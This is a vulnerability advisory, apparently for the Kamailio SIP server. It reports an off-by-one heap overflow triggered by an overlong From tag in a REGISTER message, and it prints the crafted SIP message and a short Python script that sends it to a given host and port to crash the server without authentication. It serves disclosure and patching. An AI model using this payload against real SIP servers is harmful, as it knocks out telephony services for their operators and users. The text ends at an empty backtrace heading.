## Description
A specially crafted REGISTER message with a malformed `branch` or `From tag` triggers an off-by-one heap overflow.
## Impact
Abuse of this vulnerability leads to denial of service in Kamailio. Further research may show that exploitation leads to remote code execution.
## How to reproduce the issue
The following SIP message was used to reproduce the issue with a `From` header containing the `tag` that triggers the vulnerability:
```
REGISTER sip:localhost:5060 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
To: <sip:1@localhost:5060>
From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
Contact: sip:1@127.0.0.1:53497
Max-Forwards: 70
CSeq: 10086 REGISTER
User-Agent: go SIP fuzzer/1
Content-Length: 0
```
We used this python script to reproduce the crash:
'''
#!/usr/bin/env python
import socket
import sys
PROTO = "udp"
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
for _ in range(2):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((sys.argv[1], int(sys.argv[2])))
msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
"Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
"To: <sip:1@localhost:5060>\r\n" \
"From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \
"Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
"Contact: sip:1@127.0.0.1:53497\r\n" \
"Max-Forwards: 70\r\n" \
"CSeq: 10086 REGISTER\r\n" \
"User-Agent: go SIP fuzzer/1\r\n" \
"Content-Length: 0\r\n" \
"\r\n"
sock.sendall(msg)
'''
Run using:
```
python crash.py <ip> <port>
```
The expected result is a crash in Kamailio.
Notes:
- authentication is not required
- SIP extension does not need to exist
- Message can be sent over TCP or UDP
### GDB backtrace result
Both crashes produce a similar backtrace in GDB:
